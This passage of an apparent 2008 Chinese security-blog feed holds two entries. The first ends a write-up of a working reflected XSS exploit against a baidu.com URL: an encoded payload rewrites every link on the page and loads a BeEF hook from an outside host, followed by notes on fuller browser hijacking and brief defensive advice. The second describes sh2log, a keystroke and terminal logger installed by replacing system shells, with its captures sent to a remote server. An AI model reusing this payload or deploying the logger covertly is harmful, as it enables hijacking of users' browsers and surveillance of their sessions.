target="_blank">http://www.baidu.com</a>/index.php?bar=&#34;/**/style=xss:expression((window.r!=1)?eval(&#34;window.r=1;eval(unescape(location.hash.substr(1)))&#34;):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.cr&#101;ateElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29&#39;&nbsp;scrolling=&#34;auto&#34;&gt;<br/>&lt;/frameset&gt;<br/>&lt;noframes&gt;<br/>&lt;body&gt;&lt;/body&gt;<br/>&lt;/noframes&gt;<br/>&lt;/html&gt;<br/>&lt;/code&gt;<br/><br/><br/>最后实现的效果是在这个页面打开的链接和浏览的网页的都被注入了脚本，利用参数型跨站脚本漏洞我们成功的构造了一次跨页面的浏览器劫持，模拟攻击中我是给页面注入一个BEEF（非常出名的跨站脚本攻击平台）脚本进行渗透攻击，具体可以参照我这里做好的一个录像:<br/><br/><a href="http://www.80sec.com/release/baidu-xss.html" target="_blank">http://www.80sec.com/release/baidu-xss.html</a><br/><br/>在这里我只是完成了一个很简陋的EXP，实际攻击中我们注入的脚本应该是把页面重写成跨框架脚本攻击页面(<a href="http://ortdx.blog.163.com/blog/static/213610812006912114755107/" target="_blank">http://ortdx.blog.163.com/blog/static/213610812006912114755107/</a>)，然后再结合AJAX技术劫持页面里所有的链接和表单，新浏览的页面和新开的窗口都能自动注入脚本，这样几乎可以控制住所有从跨站脚本漏洞页面出来的页面。<br/><br/>0x05&nbsp;总结<br/><br/>以往大家都以为XSS漏洞只能对特定页面造成影响，经过我的分析大家应该了解到XSS漏洞的影响应该是整站范围的。以后的WEB&nbsp;x.0网站开始大量使用AJAX技术，浏览页面几乎是不刷新的，所以利用XSS漏洞劫持浏览器这种攻击方式将是致命的。另外可以看到的是，XSS已经不是传统意义上的劫持会话进行攻击，而是劫持用户的整个浏览器。建议各大网站和程序开发者，谨慎对待每一个可能出现安全问题的细节，多检查程序中的输入输出，尽量避免XSS漏洞。对于用户可以考虑使用Firefox浏览器的noscript插件，从客户端防住XSS攻击。<br/>最后感谢HI群的朋友们给我提供的资料，同时欢迎各位朋友到80SEC来进行技术交流。<br/><br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=196" /> 
	  <id>http://www.zxboy.com/default.asp?id=196</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[linux键盘记录之sh2log介绍]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-06-28T18:04:23+08:00</updated>
	  <published>2008-06-28T18:04:23+08:00</published>
		  <summary type="html"><![CDATA[sh2log&nbsp;description&nbsp;Download&nbsp;<br/>&nbsp;<br/>sh2log&nbsp;is&nbsp;a&nbsp;PTY&nbsp;sniffing&nbsp;program&nbsp;that&nbsp;captures&nbsp;all&nbsp;keystrokes&nbsp;and&nbsp;console&nbsp;output&nbsp;of&nbsp;physical&nbsp;and&nbsp;virtual&nbsp;consoles.&nbsp;sh2log&nbsp;works&nbsp;in&nbsp;userland&nbsp;and&nbsp;does&nbsp;not&nbsp;require&nbsp;the&nbsp;installation&nbsp;of&nbsp;a&nbsp;kernel&nbsp;module.<br/><br/>Consequently,&nbsp;it&nbsp;can&nbsp;be&nbsp;run&nbsp;on&nbsp;a&nbsp;wide&nbsp;range&nbsp;of&nbsp;different&nbsp;UNIX&nbsp;platforms.&nbsp;It&nbsp;provides&nbsp;ready-to-use&nbsp;log&nbsp;files&nbsp;and&nbsp;is&nbsp;meant&nbsp;to&nbsp;be&nbsp;used&nbsp;for&nbsp;legitimate&nbsp;purposes&nbsp;such&nbsp;as&nbsp;auditing&nbsp;user&nbsp;actions&nbsp;on&nbsp;a&nbsp;sensitive&nbsp;server&nbsp;o&#114;&nbsp;a&nbsp;honeypot.<br/><br/>How&nbsp;to&nbsp;install&nbsp;it<br/><br/>2.1.&nbsp;Edit&nbsp;config.h&nbsp;and&nbsp;setup&nbsp;the&nbsp;following&nbsp;values:<br/><br/>CONNECT_IP&nbsp;IP&nbsp;address&nbsp;of&nbsp;the&nbsp;machine&nbsp;on&nbsp;which&nbsp;sh2logd&nbsp;runs<br/>SERVER_PORT&nbsp;UDP&nbsp;port&nbsp;in&nbsp;use&nbsp;by&nbsp;sh2logd<br/>REAL_SHELL_DIR&nbsp;Directory&nbsp;for&nbsp;the&nbsp;real&nbsp;shells&nbsp;(/bin/shells)<br/>MAX_LOG_SIZE&nbsp;Maximum&nbsp;size&nbsp;before&nbsp;a&nbsp;new&nbsp;log&nbsp;file&nbsp;is&nbsp;cr&#101;ated<br/>secret&nbsp;This&nbsp;is&nbsp;a&nbsp;128-bit&nbsp;symmetric&nbsp;key&nbsp;used&nbsp;to&nbsp;secure<br/>the&nbsp;data&nbsp;when&nbsp;transmitted&nbsp;over&nbsp;the&nbsp;network.<br/><br/>2.2.&nbsp;Compile&nbsp;sh2log&nbsp;by&nbsp;simply&nbsp;running&nbsp;&#34;make&nbsp;system&#34;<br/><br/>System&nbsp;can&nbsp;be&nbsp;any&nbsp;of&nbsp;those:&nbsp;linux,&nbsp;freebsd,&nbsp;openbsd,&nbsp;cygwin,&nbsp;sunos,&nbsp;aix,&nbsp;irix,&nbsp;hpux&nbsp;and&nbsp;osf.<br/><br/>2.3.&nbsp;Replace&nbsp;the&nbsp;o&#114;iginal&nbsp;shell&nbsp;with&nbsp;sh2log&nbsp;and&nbsp;run&nbsp;sh2logd:<br/><br/>#&nbsp;mkdir&nbsp;/bin/shells/<br/>#&nbsp;cp&nbsp;-p&nbsp;/bin/{sh,bash}&nbsp;/bin/shells/<br/>#&nbsp;rm&nbsp;-f&nbsp;/bin/{sh,bash}<br/>#&nbsp;cp&nbsp;-p&nbsp;sh2log&nbsp;/bin/bash<br/>#&nbsp;cp&nbsp;-p&nbsp;sh2log&nbsp;/bin/sh<br/>#&nbsp;./sh2logd<br/><br/>If&nbsp;you&nbsp;see&nbsp;an&nbsp;error&nbsp;message&nbsp;about&nbsp;&#34;bash:&nbsp;text&nbsp;file&nbsp;busy&#34;,&nbsp;check&nbsp;that&nbsp;you&nbsp;have&nbsp;rm&#39;ed&nbsp;the&nbsp;file&nbsp;before&nbsp;copying&nbsp;sh2log&nbsp;over&nbsp;it.&nbsp;Also,&nbsp;I&#39;d&nbsp;recommended&nbsp;not&nbsp;running&nbsp;sh2log&nbsp;and&nbsp;sh2logd&nbsp;on&nbsp;the&nbsp;same&nbsp;machine.<br/><br/>Warning:&nbsp;/bin/sh&nbsp;is&nbsp;often&nbsp;a&nbsp;symlink&nbsp;to&nbsp;/bin/bash.&nbsp;DO&nbsp;NOT&nbsp;FORGET&nbsp;TO&nbsp;Cr&#101;ate&nbsp;&#34;/bin/shells/sh&#34;&nbsp;o&#114;&nbsp;YOUR&nbsp;SYSTEM&nbsp;WILL&nbsp;BE&nbsp;UNUSABLE!<br/><br/>3.&nbsp;Monitoring&nbsp;your&nbsp;users:&nbsp;the&nbsp;interactive&nbsp;log&nbsp;parser<br/><br/>Please&nbsp;try&nbsp;first&nbsp;to&nbsp;run&nbsp;./parser&nbsp;with&nbsp;the&nbsp;provided&nbsp;sh2log&nbsp;example&nbsp;file&nbsp;&#34;test.bin&#34;.&nbsp;Window&nbsp;resizing&nbsp;requires&nbsp;XTerm&nbsp;(not&nbsp;rxvt,&nbsp;eterm&nbsp;o&#114;&nbsp;konsole)&nbsp;and&nbsp;a&nbsp;valid&nbsp;DISPLAY;&nbsp;o&#114;&nbsp;if&nbsp;you&nbsp;use&nbsp;PuTTY,&nbsp;try&nbsp;resizing&nbsp;the&nbsp;window&nbsp;by&nbsp;hand.<br/><br/>The&nbsp;parser&nbsp;provides&nbsp;both&nbsp;non-interactive&nbsp;and&nbsp;interactive&nbsp;(takedown-like)&nbsp;modes&nbsp;of&nbsp;operation.&nbsp;In&nbsp;interactive&nbsp;mode,&nbsp;you&nbsp;can&nbsp;pause,&nbsp;fast&nbsp;forward&nbsp;(2x&nbsp;o&#114;&nbsp;4x)&nbsp;and&nbsp;also&nbsp;follow&nbsp;in&nbsp;real&nbsp;time&nbsp;what&nbsp;the&nbsp;users&nbsp;are&nbsp;doing&nbsp;one&nbsp;the&nbsp;system,&nbsp;and&nbsp;have&nbsp;a&nbsp;live&nbsp;view&nbsp;of&nbsp;all&nbsp;terminals.&nbsp;<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=195" /> 
	  <id>http://www.zxboy.com/default.asp?id=195</id> 
  </entry>	
		
</feed>